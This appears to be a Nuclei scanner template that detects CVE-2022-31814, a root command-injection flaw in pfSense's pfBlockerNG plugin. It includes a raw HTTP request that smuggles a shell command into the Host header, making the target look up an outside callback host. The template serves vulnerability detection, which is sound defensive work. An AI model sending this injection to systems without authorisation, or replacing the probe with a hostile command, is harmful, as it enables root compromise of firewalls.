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id : CVE-2022-31814
info :
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name : PfSense Pfblockerng Plugin - Remote Code execution
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author : EvergreenCartoons
severity : critical
description : |
pfSense pfBlockerNG through 2.1.4_26 allows remote attackers to execute arbitrary OS commands as root via shell metacharacters in the HTTP Host header. NOTE : 3. x is unaffected.
reference :
- https://www.ihteam.net/advisory/pfblockerng-unauth-rce-vulnerability/
- https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html
- https://github.com/EvergreenCartoons/SenselessViolence
- https://nvd.nist.gov/vuln/detail/CVE-2022-31814
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2022-31814
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metadata :
verified : true
tags : cve,cve2022,pfsense,pfblockerng,rce,oast
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requests :
- raw :
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- |+
GET /pfblockerng/www/index.php HTTP/1.1
Host : {{Hostname}}
Accept : */*
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- |+
GET /pfblockerng/www/index.php HTTP/1.1
Host : ' *; host {{interactsh-url}}; '
Accept : */*
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req-condition : true
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unsafe : true
matchers-condition : and
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matchers :
- type : word
part : interactsh_protocol # Confirms the DNS Interaction
words :
- "dns"
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- type : dsl
dsl :
- 'contains(body_1, "GIF")'